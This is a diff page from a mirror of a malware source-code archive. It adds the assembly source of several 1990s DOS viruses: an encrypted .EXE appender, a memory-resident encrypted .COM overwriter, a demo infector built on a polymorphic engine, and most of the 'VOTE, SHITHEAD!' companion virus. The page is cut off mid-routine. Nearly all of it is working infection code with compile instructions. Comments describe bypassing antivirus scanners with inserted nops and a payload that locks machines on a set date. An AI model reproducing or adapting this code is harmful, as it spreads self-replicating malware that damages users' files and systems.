mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,260 @@
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Lacimehc v1.0 coded by KilJaeden of the Codebreakers 1998 ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Description: `-------------------| Started: 13/06/98 | Finished: 15/06/98 ;
|
||||
; `-------------------^------------------- ;
|
||||
; v1.0 - first attempt at .EXE infection, probably full of | Size: 597 ;
|
||||
; - errors and unoptimized stuff, but I will fix all `---------- ;
|
||||
; - that when I have a better understanding of what the ;
|
||||
; - hell is actually going on, it's complicated! hehe ;
|
||||
; v1.1 - added encryption to this exe appender! XOR,ROR,NEG ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ---------------> You Cannot Sedate All The Things You Hate <------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; to compile ::] tasm lacimehc.asm ;
|
||||
; to link :::::] tlink /t lacimehc.obj ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code segment ; name our segment 'code'
|
||||
assume cs:code,ds:code ; assign CS and DS to code
|
||||
org 100h ; original is a .com file
|
||||
|
||||
blank: db 0e9h,0,0 ; jump to beginning
|
||||
start: call delta ; push IP on to the stack
|
||||
delta: pop bp ; pop it into BP
|
||||
sub bp,offset delta ; get the delta offset
|
||||
|
||||
push ds es ; save original DS and ES
|
||||
push cs cs ; push CS twice
|
||||
pop ds es ; CS = DS = ES now
|
||||
|
||||
decr: jmp once ; jump to once (overwritten)
|
||||
lea si,[bp+encd] ; points to encrypted area
|
||||
mov di,si ; move the value into DI
|
||||
call encr ; call our decryption loop
|
||||
jmp encd ; jump to main virus
|
||||
|
||||
encr: lodsb ; load a byte into al
|
||||
ror al,4 ; encryptin 1
|
||||
neg al ; encryptin 2
|
||||
xor al,byte ptr [bp+key] ; encryptin 3 -final-
|
||||
neg al ; unencrypt 2
|
||||
ror al,4 ; unencrypt 1
|
||||
stosb ; return the byte
|
||||
loop encr ; do this for all bytes
|
||||
ret ; return from call
|
||||
key db 0 ; our key value
|
||||
|
||||
encd: mov ax,word ptr [bp+exe_cs] ; exe_cs and _cs
|
||||
mov word ptr [bp+_cs],ax ; are now equal
|
||||
|
||||
push [bp+exe_cs] ; save CS
|
||||
push [bp+exe_ip] ; save IP
|
||||
push [bp+exe_ss] ; save SS
|
||||
push [bp+exe_sp] ; save SP
|
||||
|
||||
mov ah,1ah ; set new DTA location
|
||||
lea dx,[bp+offset dta] ; new DTA goes here
|
||||
int 21h ; DTA is now moved
|
||||
|
||||
mov ah,4eh ; find first file
|
||||
lea dx,[bp+exefile] ; with extension .exe
|
||||
mov cx,7 ; possible attributes
|
||||
|
||||
findit: int 21h ; find a .exe
|
||||
jnc cont ; found one? continue on
|
||||
jmp exit ; return control to host
|
||||
|
||||
cont: lea dx,[bp+dta+1eh] ; get file name info
|
||||
mov ax,4300h ; get file attributes
|
||||
int 21h ; get them now
|
||||
push cx ; save the attributes
|
||||
push dx ; and the file name info
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
xor cx,cx ; to none at all
|
||||
int 21h ; infect even read only now
|
||||
|
||||
mov ax,3d02h ; open the file
|
||||
int 21h ; file is opened
|
||||
xchg bx,ax ; move file handle in BX
|
||||
jnc cont2 ; no problems? continue on
|
||||
jmp abort ; whoops, find another one
|
||||
|
||||
cont2: mov ax,5700h ; get the time / date stamps
|
||||
int 21h ; we have the stamps
|
||||
push cx ; save the time
|
||||
push dx ; save the date
|
||||
|
||||
mov ah,3fh ; read from file
|
||||
mov cx,1ch ; read the EXE header
|
||||
lea dx,[bp+offset header] ; store it into 'header'
|
||||
int 21h ; do the int 21 this time
|
||||
|
||||
cmp word ptr [bp+header],'ZM' ; check for the initials
|
||||
je cont3 ; its good, infect it
|
||||
cmp word ptr [bp+header],'MZ' ; check for the initials
|
||||
je cont3 ; its good, infect it
|
||||
jmp next ; find next file
|
||||
|
||||
cont3: cmp word ptr [bp+header+10h],'JK' ; check for our ID bytes
|
||||
jne cont4 ; not done before, infect it
|
||||
jmp next ; infected, get another one
|
||||
|
||||
cont4: mov ax,word ptr [bp+header+18h] ; load AX with offset 40h
|
||||
cmp ax,40h ; is this a WinEXE file?
|
||||
jnae cont5 ; nope, continue on
|
||||
jmp next ; yup it is, get another one
|
||||
|
||||
cont5: cmp word ptr [bp+header+1ah],0 ; check for internal overlays
|
||||
je infect ; nope, infect this file now
|
||||
jmp next ; there are, get another one
|
||||
|
||||
infect: push bx ; save file handle
|
||||
mov ax,word ptr [bp+header+0eh] ; get original SS into AX
|
||||
mov word ptr [bp+exe_ss],ax ; save it into exe_ss
|
||||
mov ax,word ptr [bp+header+10h] ; get original SP into AX
|
||||
mov word ptr [bp+exe_sp],ax ; save it into exe_sp
|
||||
mov ax,word ptr [bp+header+14h] ; get original IP into AX
|
||||
mov word ptr [bp+exe_ip],ax ; save it into exe_ip
|
||||
mov ax,word ptr [bp+header+16h] ; get original CS into ax
|
||||
mov word ptr [bp+exe_cs],ax ; save it into exe_cs
|
||||
|
||||
mov ax,4202h ; scan to end of file
|
||||
xor cx,cx ; xor cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; DX:AX holds file size now
|
||||
push ax dx ; save file size for awhile
|
||||
|
||||
mov bx,word ptr [bp+header+8h] ; header size in paragraphs
|
||||
mov cl,4 ; load CL with 4
|
||||
shl bx,cl ; multiply bx by 16 (4x4=16)
|
||||
sub ax,bx ; subtract file size
|
||||
sbb dx,0 ; if CF is set subtract 1
|
||||
mov cx,10h ; cx = 10h = 16
|
||||
div cx ; undue our mutiplying x16
|
||||
|
||||
mov word ptr [bp+header+14h],dx ; put the offset in
|
||||
mov word ptr [bp+header+16h],ax ; segment offset of code
|
||||
mov word ptr [bp+header+0eh],ax ; segment offset of stack
|
||||
mov word ptr [bp+header+10h],'JK' ; put our ID in
|
||||
|
||||
pop dx ax bx ; restore file size / handle
|
||||
|
||||
add ax,finished-start ; add our virus size
|
||||
adc dx,0 ; if CF add 1, if not, 0
|
||||
mov cx,512 ; convert to pages
|
||||
div cx ; by dividing by 512
|
||||
inc ax ; round up
|
||||
mov word ptr [bp+header+4],ax ; put the new PageCnt up
|
||||
mov word ptr [bp+header+2],dx ; put the new PartPag up
|
||||
|
||||
mov ax,4202h ; scan to end of file
|
||||
xor cx,cx ; xor cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; DX:AX holds file size now
|
||||
|
||||
in al,40h ; get a random value
|
||||
mov byte ptr [bp+key],al ; save as our key
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+start] ; starting here
|
||||
mov cx,encd-start ; # of bytes to write
|
||||
int 21h ; write them now
|
||||
|
||||
lea di,[bp+finished] ; where to put bytes
|
||||
push di ; save value
|
||||
lea si,[bp+encd] ; where to get bytes
|
||||
mov cx,finished-encd ; # of bytes to do
|
||||
push cx ; save value
|
||||
call encr ; encrypt the bytes
|
||||
|
||||
mov ah,40h ; write to file
|
||||
pop cx ; restore first value
|
||||
pop dx ; restore second value
|
||||
int 21h ; write them to file
|
||||
|
||||
mov ax,4200h ; seek to start of file
|
||||
xor cx,cx ; cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; at start of file now
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+header] ; write the new header
|
||||
mov cx,1ch ; # of bytes to write
|
||||
int 21h ; write it now
|
||||
|
||||
next: mov ax,5701h ; set time / date stamps
|
||||
pop dx ; restore the date
|
||||
pop cx ; restore the time
|
||||
int 21h ; time / date are restored
|
||||
|
||||
mov ah,3eh ; close the file
|
||||
int 21h ; close it up now
|
||||
|
||||
abort: mov ax,4301h ; set file attributes
|
||||
pop dx ; for this file name
|
||||
pop cx ; with these attributes
|
||||
int 21h ; attributes are restored
|
||||
|
||||
mov ah,4fh ; find next file
|
||||
jmp findit ; start all over again
|
||||
|
||||
exit: pop [bp+exe_sp] ; restore SP
|
||||
pop [bp+exe_ss] ; restore SS
|
||||
pop [bp+exe_ip] ; restore IP
|
||||
pop [bp+exe_cs] ; restore CS
|
||||
|
||||
mov ah,1ah ; restore the DTA
|
||||
mov dx,80h ; new address for DTA
|
||||
int 21h ; back to original location
|
||||
|
||||
pop es ds ; pop ES and DS from stack
|
||||
mov ax,es ; ax points to PSP
|
||||
add ax,10h ; skip over the PSP
|
||||
add word ptr cs:[bp+_cs],ax ; restoring CS
|
||||
mov bx,word ptr cs:[bp+exe_ip] ; move the IP into bx
|
||||
mov word ptr cs:[bp+_ip],bx ; save the IP into _ip
|
||||
|
||||
cli ; clear interrupt flag
|
||||
mov sp,word ptr cs:[bp+exe_sp] ; adjust ExeSP
|
||||
add ax,word ptr cs:[bp+exe_ss] ; restore the stack
|
||||
mov ss,ax ; adjust ReloSS
|
||||
sti ; set interrupt flag
|
||||
|
||||
db 0eah ; jmp far ptr cs:ip
|
||||
|
||||
; ---------------------------( The Data Area )----------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
_ip dw 0 ; used as offset for db 0eah
|
||||
_cs dw 0 ; used as offset for db 0eah
|
||||
exe_cs dw 0fff0h ; original CS
|
||||
exe_ip dw 0 ; original IP
|
||||
exe_sp dw 0 ; original SP
|
||||
exe_ss dw 0 ; original SS
|
||||
exefile db "*.exe",0 ; infecting .exe files
|
||||
header db 1ch dup (?) ; space for the header
|
||||
dta db 43 dup (?) ; space for the new dta
|
||||
finished: ; end of the virus
|
||||
|
||||
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
once: lea si,[bp+new] ; bytes to move
|
||||
lea di,[bp+decr] ; to be moved here
|
||||
movsw ; move two bytes
|
||||
movsb ; move one byte
|
||||
jmp encd ; jump to main body
|
||||
new: mov cx,finished-encd ; this replaces the jump
|
||||
|
||||
; -----------------------------( The End )--------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code ends ; end code segment
|
||||
end blank ; end / where to start
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
@@ -0,0 +1,193 @@
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Laicos v1.4 coded by KilJaeden of the Codebreakers 1998 ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Description: `-------------------| Started: 06/06/98 | Finished: 07/06/98 ;
|
||||
; `-------------------^------------------- ;
|
||||
; v1.0 - memory resident *.com overwritter, MCB style | Size: 283 ;
|
||||
; v1.1 - makes sure it is really a .com file `---------- ;
|
||||
; v1.2 - add infection of any file + restores attributes ;
|
||||
; v1.3 - add time/date restoration of infected files ;
|
||||
; v1.4 - add XOR,NOT,NEG,ROR encryption to this ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Thanks: To SPo0ky!! I Could not have done this without his patience!!!! ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; to compile ::] tasm laicos.asm ;
|
||||
; to link :::::] tlink /t laicos.obj ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code segment ; name our segment 'code'
|
||||
assume cs:code,ds:code ; assign cs and ds to code
|
||||
org 100h ; this be a .com file
|
||||
.286 ; need this for pusha/popa
|
||||
|
||||
start: jmp first ; jump to first (overwritten)
|
||||
xor bp,bp ; XOR the value of bp to 0
|
||||
lea si,encd ; load SI with encrypted area start
|
||||
mov di,si ; DI points there now too
|
||||
call encr ; call the encryption routine
|
||||
jmp encd ; jump to encrypted area
|
||||
|
||||
encr: lodsb ; load a byte
|
||||
not al ; encryptin 1
|
||||
ror al,4 ; encryptin 2
|
||||
neg al ; encryptin 3
|
||||
key: xor al,0 ; encryptin 4
|
||||
neg al ; unencrypt 3
|
||||
ror al,4 ; unencrypt 2
|
||||
not al ; unencrypt 1
|
||||
stosb ; put the byte back
|
||||
loop encr ; do it for all bytes
|
||||
ret ; return from call
|
||||
|
||||
encd: mov ax,0deadh ; move 0deadh into AX
|
||||
int 21h ; if resident, 0deadh is in BX now
|
||||
cmp bx,0deadh ; are we resident?
|
||||
jne go_rez ; nope were not, go rezident now
|
||||
int 20h ; we are, terminate
|
||||
|
||||
go_rez: sub word ptr cs:[2],80h ; lower top of memory data in PSP
|
||||
mov ax,cs ; move CS into AX
|
||||
dec ax ; decrement AX and
|
||||
mov ds,ax ; move AX into DS
|
||||
sub word ptr ds:[3],40h ; sub 1kb from accessed MCB
|
||||
xor ax,ax ; ax to 0
|
||||
mov ds,ax ; DS has no value now
|
||||
sub word ptr ds:[413h],2 ; adjust BIOS data area by 2kb
|
||||
mov ax,word ptr ds:[413h] ; move adjusted BIOS mem to AX
|
||||
mov cl,6 ; load cl with 6
|
||||
shl ax,cl ; multiply BIOS base mem by 64
|
||||
mov es,ax ; move the value into ES
|
||||
push cs ; get cs again so you can
|
||||
pop ds ; restore DS to original value
|
||||
xor di,di ; DI must be 0 now
|
||||
lea si,start ; load SI with start of virus
|
||||
mov cx,finish-start ; # of bytes to write
|
||||
rep movsb ; load the virus into memory
|
||||
|
||||
hook: push es ; push the value in ES
|
||||
pop ds ; pop it into DS
|
||||
mov ax,3521h ; get the int 21h interrupt
|
||||
int 21h ; get it now man!
|
||||
mov word ptr ds:[oi21-100h],bx ; save the old one here
|
||||
mov word ptr ds:[oi21+2-100h],es ; save it here too
|
||||
mov ax,2521h ; point IVT to new ISR
|
||||
lea dx,isr-100h ; load DX with start of ISR
|
||||
int 21h ; IVT now points to new ISR
|
||||
int 20h ; end now that we have hooked
|
||||
|
||||
isr: pushf ; push all flags
|
||||
cmp ax,0deadh ; have we added check value?
|
||||
jne exec ; yup, wait for a 4bh
|
||||
mov bx,0deadh ; nope, adding it now
|
||||
popf ; pop the flags
|
||||
iret ; pop cs:ip+flags from stack
|
||||
|
||||
exec: pusha ; push all registers
|
||||
push ds ; push value of DS
|
||||
push es ; push ES as well
|
||||
cmp ah,4bh ; something being executed?
|
||||
je main ; yup, check if .com
|
||||
jne exit ; nope, point to original ISR
|
||||
|
||||
main: push ds ; push DS again
|
||||
pop es ; and pop it into ES
|
||||
mov di,dx ; move file name info to DI
|
||||
mov cx,64 ; 64 byte file name possible
|
||||
mov al,'.' ; load al with .
|
||||
cld ; clear direction flag
|
||||
repnz scasb ; scan until . is hit
|
||||
cmp word ptr ds:[di],'OC' ; is it .CO- ?
|
||||
jne exit ; not a .com file, exit
|
||||
cmp word ptr ds:[di+2],'M' ; check for .--M
|
||||
jne exit ; not a .com file, exit
|
||||
|
||||
mov ax,4300h ; get the file attributes
|
||||
int 21h ; we have them now
|
||||
push cx ; save the values
|
||||
push dx ; save the values
|
||||
push ds ; save the values
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
xor cx,cx ; to none at all
|
||||
int 21h ; set them now
|
||||
|
||||
mov ax,3d02h ; open the file then
|
||||
int 21h ; file is now open
|
||||
xchg ax,bx ; save the file info
|
||||
|
||||
push cs ; push 100h
|
||||
push cs ; push it again
|
||||
pop ds ; into DS
|
||||
pop es ; into ES
|
||||
|
||||
mov ax,5700h ; get time / date stamps
|
||||
int 21h ; we have the stamps now
|
||||
push dx ; save the time
|
||||
push cx ; save the date
|
||||
|
||||
in al,40h ; get random value
|
||||
mov byte ptr cs:[key-100h+1],al ; save as our key
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,start-100h ; load start address
|
||||
mov cx,encd-start ; # of bytes to write
|
||||
int 21h ; write them now
|
||||
|
||||
mov bp,100h ; load bp with 100h
|
||||
lea di,finish-100h ; end of encrypted stuff
|
||||
lea si,encd-100h ; start of encrypted stuff
|
||||
mov cx,finish-encd ; # of bytes to encrypt
|
||||
cld ; clear direction flag
|
||||
call encr ; call the encryption routine
|
||||
|
||||
mov ah,40h ; write to file
|
||||
mov cx,finish-encd ; total # of bytes to write
|
||||
lea dx,finish-100h ; write from here
|
||||
int 21h ; write them now
|
||||
|
||||
mov ax,5701h ; restore time / date
|
||||
pop cx ; from this value
|
||||
pop dx ; and from this value
|
||||
int 21h ; restore them now
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
pop ds ; restore from saved value
|
||||
pop dx ; restore from this one too
|
||||
pop cx ; and lastely, this one
|
||||
int 21h ; attributes are restored
|
||||
|
||||
mov ah,3eh ; close the file
|
||||
int 21h ; it's closed
|
||||
|
||||
exit: pop es ; pop ES from stack
|
||||
pop ds ; pop DS from stack
|
||||
popa ; pop all registers
|
||||
popf ; pop all flags
|
||||
db 0eah ; jump to original ISR
|
||||
|
||||
; --------------------------( The Data Area ) ----------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
oi21 dd ? ; old int 21 is here
|
||||
finish label near ; the offset label
|
||||
|
||||
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
first: lea di,start ; load with start address
|
||||
lea si,new ; overwrite with these bytes
|
||||
movsw ; overwrite two bytes
|
||||
movsb ; overwrite one byte
|
||||
jmp encd ; jump to encrypted area start
|
||||
|
||||
new: mov cx,finish-encd ; this will overwrite the jump
|
||||
|
||||
; ----------------------------( Its All Over )----------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code ends ; end code segment
|
||||
end start ; end / where to start
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
@@ -0,0 +1,186 @@
|
||||
.code
|
||||
.radix 16
|
||||
org 100
|
||||
|
||||
start: jmp temp ; The next two lines will be patched in
|
||||
; cld ; DAME may have altered DF
|
||||
; mov bx,ds
|
||||
call calc_off
|
||||
|
||||
old4 dw 20cdh, 0
|
||||
fmask db '*.com',0
|
||||
dmask db '..',0
|
||||
|
||||
db 0dh,'This is a lame virus slapped together by DA/PS',0Dh,0A
|
||||
db 'To demonstrate DAME 0.91',0Dh,0A,1a
|
||||
|
||||
vars = 0
|
||||
include dame.asm ; include the code portion of DAME
|
||||
|
||||
calc_off:
|
||||
pop si
|
||||
mov ax,si
|
||||
mov cl,4
|
||||
shr ax,cl
|
||||
sub ax,10
|
||||
add ax,bx
|
||||
mov bx,offset enter_vir
|
||||
push ax bx
|
||||
retf
|
||||
|
||||
enter_vir:
|
||||
mov di,100
|
||||
push es di es es
|
||||
movsw
|
||||
movsw
|
||||
enter_vir0:
|
||||
push cs cs
|
||||
pop es ds
|
||||
mov ah,1a
|
||||
mov dx,offset new_dta ; set new DTA
|
||||
int 21
|
||||
|
||||
mov ah,47
|
||||
cwd
|
||||
mov si,offset old_path+1
|
||||
mov byte ptr [si-1],'\'
|
||||
int 21
|
||||
|
||||
mov inf_cnt,4
|
||||
|
||||
call rnd_init_seed
|
||||
inf_dir:mov ah,4e
|
||||
mov dx,offset fmask
|
||||
fnext: int 21
|
||||
jnc inf_file
|
||||
|
||||
mov ah,3bh
|
||||
mov dx,offset dmask
|
||||
int 21
|
||||
jnc inf_dir
|
||||
done_all:
|
||||
mov ah,3bh
|
||||
mov dx,offset old_path
|
||||
int 21
|
||||
|
||||
pop es ds ; restore the DTA
|
||||
mov dx,80
|
||||
mov ah,1a
|
||||
int 21
|
||||
|
||||
retf ; return to carrier
|
||||
|
||||
inf_file:
|
||||
mov ax,3d00
|
||||
mov dx,offset new_dta + 1e
|
||||
int 21
|
||||
jc _fnext
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,3f
|
||||
mov cx,4
|
||||
mov dx,offset old4
|
||||
int 21
|
||||
|
||||
mov ah,3e
|
||||
int 21
|
||||
|
||||
cmp old4,0e9fc
|
||||
jz _fnext
|
||||
add al,ah
|
||||
cmp al,'Z'+'M'
|
||||
jz _fnext
|
||||
call infect
|
||||
dec inf_cnt
|
||||
jz done_all
|
||||
_fnext:
|
||||
mov ah,4f
|
||||
jmp short fnext
|
||||
|
||||
infect: mov ax,3d00
|
||||
mov dx,offset new_dta + 1e
|
||||
int 21
|
||||
push ax
|
||||
xchg ax,bx
|
||||
|
||||
mov ax,1220
|
||||
int 2f
|
||||
|
||||
mov ax,1216
|
||||
mov bl,es:di
|
||||
mov bh,0
|
||||
int 2f
|
||||
|
||||
pop bx
|
||||
|
||||
mov word ptr es:[di+2],2
|
||||
|
||||
mov ax,es:[di+11]
|
||||
mov bp,ax
|
||||
mov cx,4
|
||||
sub ax,cx
|
||||
mov patch,ax
|
||||
|
||||
mov ah,40
|
||||
mov dx,offset oFCE9
|
||||
int 21
|
||||
|
||||
mov word ptr es:[di+15],bp
|
||||
|
||||
push es di cs
|
||||
pop es
|
||||
|
||||
mov si,100
|
||||
mov di,offset copyvirus
|
||||
mov cx,(heap - start + 1)/2
|
||||
rep movsw
|
||||
|
||||
mov ax,0000000000001011b
|
||||
mov dx,offset copyvirus
|
||||
mov cx,heap - start
|
||||
mov si,offset _decryptbuffer
|
||||
mov di,offset _encryptbuffer
|
||||
push dx bx si
|
||||
mov bx,bp
|
||||
inc bh
|
||||
call dame
|
||||
|
||||
mov ah,40
|
||||
pop dx bx
|
||||
int 21
|
||||
|
||||
mov ah,40
|
||||
mov cx,heap - start
|
||||
pop dx
|
||||
int 21
|
||||
|
||||
pop di es
|
||||
or byte ptr es:[di+6],40
|
||||
|
||||
mov ah,3e
|
||||
int 21
|
||||
|
||||
retn
|
||||
|
||||
oFCE9 dw 0e9fc
|
||||
heap:
|
||||
patch dw ?
|
||||
inf_cnt db ?
|
||||
|
||||
vars = 1
|
||||
include dame.asm ; include the heap portion of DAME
|
||||
|
||||
old_path db 41 dup (?)
|
||||
new_dta db 2c dup (?)
|
||||
_encryptbuffer: db 80 dup (?)
|
||||
_decryptbuffer: db 1a0 dup (?)
|
||||
copyvirus db heap - start + 20 dup (?)
|
||||
|
||||
temp: mov byte ptr ds:[100],0fc
|
||||
mov word ptr ds:[101],0db8c
|
||||
xor di,di
|
||||
push cs di cs cs
|
||||
jmp enter_vir0
|
||||
|
||||
end start
|
||||
--End LAME.ASM--Begin DAME.ASM-------------------------------------------------
|
||||
@@ -0,0 +1,319 @@
|
||||
;****************************************************************************
|
||||
;* VOTE, SHITHEAD! virus Edited by URNST KOUCH for the Crypt Newsletter 7.
|
||||
;*
|
||||
;* TASM/MASM compatible source listing
|
||||
;*
|
||||
;* VOTE, SHITHEAD is a resident, companion virus based upon Little
|
||||
;* Brother code and library .asm routines extracted from Nowhere Man's VCL.
|
||||
;* It is also 'patched' with three 'nops' (they are commented) which
|
||||
;* effectively blind a number of a-v scanners. This simple alteration
|
||||
;* demonstrates a practical benefit of source code possession: quick
|
||||
;* generation of different virus strains becomes a task within anyone's
|
||||
;* reach. The only tools needed are a number of virus scanners and patience.
|
||||
;*
|
||||
;* In any case, the VOTE virus is just the ideal sample needed for
|
||||
;* judicious virus action. It is a PERFECT tool for viral spreading for
|
||||
;* a number of reasons. First, it is a FAST infector. Once resident
|
||||
;* VOTE will create a companion file for ANY .EXE executed on ANY drive
|
||||
;* and it will do it so quickly that most users, even suspicious ones,
|
||||
;* will not notice any slowdown or glitches in machine operation.
|
||||
;* Second, 'companion-ed' .EXE's will continue to load and function
|
||||
;* properly when VOTE is resident. At the start of the day's computing,
|
||||
;* the first 'companion-ed' .EXE executed will misfire ONCE as the virus
|
||||
;* becomes resident. If it is re-called it will function perfectly.
|
||||
;* Third, VOTE like the INSUFF viruses in the last newsletter strikes
|
||||
;* directly at anti-virus suites vulnerable to 'spawning' infections (many
|
||||
;* no-names, CPAV, NAV) and creates 'hidden' companion files, an improvement
|
||||
;* over the original virus's modus operandi which left them out in plane
|
||||
;* sight in the directory. Last, VOTE is very small. In RAM, it is not
|
||||
;* discernible, taking up slightly less that 0.25k. Characteristically,
|
||||
;* this is NOT reported by a mem /c display. In fact,
|
||||
;* VOTE is almost invisible to any number of standard diagnostic
|
||||
;* tests. Memory maps by QEMM and Norton's SYSINFO will
|
||||
;* report INT 21 hooked differently. But unless the user can compare
|
||||
;* an uncontaminated INTERRUPT report with one when the virus IS present,
|
||||
;* it's unlikely he'll know anything is different. Even then, VOTE is hard
|
||||
;* to notice.
|
||||
;*
|
||||
;* On election day, November 3rd, VOTE will lock an infected machine into
|
||||
;* a loop as it displays a "DID YOU VOTE, SHITHEAD??" query repetitively
|
||||
;* across the monitor. Computing will be impossible on Nov. 3rd
|
||||
;* unless VOTE is removed from the machine, a task accomplished by unmasking
|
||||
;* all the hidden .COMfiles and deleting them while
|
||||
;* the virus is NOT resident. At all other times, VOTE is almost completely
|
||||
;* transparent.
|
||||
;****************************************************************************
|
||||
|
||||
code segment
|
||||
assume cs:code,ds:code,es:nothing
|
||||
|
||||
.RADIX 16
|
||||
|
||||
|
||||
oi21 equ endit
|
||||
nameptr equ endit+4
|
||||
DTA equ endit+8
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Check for activation date, then proceed to installation!
|
||||
;****************************************************************************
|
||||
|
||||
org 100h
|
||||
|
||||
begin:
|
||||
call get_day ; Get the day, DOS time/date grab
|
||||
cmp ax,0003h ; Did the function return the 3rd?
|
||||
jne realstrt ; If equal, continue along stream
|
||||
call get_month ; Get the month, DOS time/date grab
|
||||
cmp ax,000Bh ; Did the function return November (11)?
|
||||
jne realstrt ; If equal, continue to blooie; if not
|
||||
; skip to loading of virus
|
||||
|
||||
|
||||
blooie: mov dx, offset shithead ;load 'shithead' message
|
||||
mov ah,9 ;display it and loop
|
||||
int 21h ;endlessly until
|
||||
jmp blooie ;user becomes ill and reboots
|
||||
|
||||
realstrt: mov ax,0044h ;move VOTE SHITHEAD to empty hole in RAM
|
||||
nop ;a 'nop' to confuse tbSCAN
|
||||
mov es,ax
|
||||
nop ;a 'nop' to confuse Datatechnik's AVscan
|
||||
mov di,0100h
|
||||
mov si,di
|
||||
mov cx,endit - begin ;length of SHITHEAD into cx
|
||||
rep movsb
|
||||
|
||||
mov ds,cx ;get original int21 vector
|
||||
mov si,0084h
|
||||
mov di,offset oi21
|
||||
mov dx,offset ni21
|
||||
lodsw
|
||||
cmp ax,dx ;check to see if virus is around
|
||||
je cancel ; by comparing new interrupt (ni21)
|
||||
stosw ; vector to current, if it looks
|
||||
movsw ; the same 'cancel' operation
|
||||
|
||||
push es ;set vector to new handler
|
||||
pop ds
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
cancel: ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* File-extension masks for checking and naming routines;message text
|
||||
;****************************************************************************
|
||||
|
||||
EXE_txt db 'EXE',0
|
||||
COM_txt db 'COM',0
|
||||
SHITHEAD db "DID YOU VOTE, SHITHEAD??"
|
||||
db 07h,07h,'$'
|
||||
|
||||
;****************************************************************************
|
||||
;* Interrupt handler 24
|
||||
;****************************************************************************
|
||||
|
||||
ni24: mov al,03 ;virus critical error handler
|
||||
iret ;prevents embarrassing messages
|
||||
;on attempted writes to protected disks
|
||||
|
||||
;****************************************************************************
|
||||
;* Interrupt handler 21
|
||||
;****************************************************************************
|
||||
|
||||
ni21: pushf
|
||||
|
||||
push es
|
||||
push ds
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
|
||||
cmp ax,4B00h ;now that we're installed
|
||||
jne exit ; check for 4B00, DOS excutions
|
||||
|
||||
doit: call infect ; if one comes by, grab it
|
||||
|
||||
exit: pop dx ; if anything else, goto sleep
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
pop es
|
||||
popf
|
||||
|
||||
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Try to infect a file (ptr to ASCIIZ-name is DS:DX)
|
||||
;****************************************************************************
|
||||
|
||||
infect: cld
|
||||
|
||||
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
||||
mov word ptr cs:[nameptr+2],ds
|
||||
|
||||
mov ah,2Fh ;get old DTA
|
||||
int 21
|
||||
push es
|
||||
push bx
|
||||
|
||||
push cs ;set new DTA
|
||||
|
||||
pop ds
|
||||
mov dx,offset DTA
|
||||
mov ah,1Ah
|
||||
int 21
|
||||
|
||||
call searchpoint ; here's where we grab a name
|
||||
push di ; for ourselves
|
||||
mov si,offset COM_txt ;is extension 'COM'?
|
||||
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
pop di
|
||||
jz do_com ;if so, go to our .COM routine
|
||||
|
||||
mov si,offset EXE_txt ;is extension 'EXE'?
|
||||
nop ;'nop' to confuse SCAN v95b.
|
||||
mov cl,3
|
||||
rep cmpsb
|
||||
jnz return
|
||||
|
||||
do_exe: mov si,offset COM_txt ;change extension to COM
|
||||
nop ;another 'nop' to confuse SCAN
|
||||
call change_ext
|
||||
|
||||
mov ax,3300h ;get ctrl-break flag
|
||||
nop
|
||||
int 21
|
||||
push dx
|
||||
|
||||
cwd ;clear the flag
|
||||
inc ax
|
||||
push ax
|
||||
int 21
|
||||
|
||||
mov ax,3524h ;get int24 vector
|
||||
int 21
|
||||
push bx
|
||||
push es
|
||||
|
||||
push cs ;set int24 vector to new handler
|
||||
pop ds ;virus handles machine
|
||||
mov dx,offset ni24 ;exits on attempted writes
|
||||
mov ah,25h ;to write-protected disks
|
||||
push ax
|
||||
int 21
|
||||
|
||||
lds dx,dword ptr [nameptr] ;create the virus (with name of .EXE target)
|
||||
mov ah,03Ch ; DOS create file function
|
||||
mov cx,00100111b ; CX holds file attributes (all)
|
||||
int 021h ; makes it hidden/system/read-only
|
||||
; do it
|
||||
xchg bx,ax ;save handle
|
||||
|
||||
push cs
|
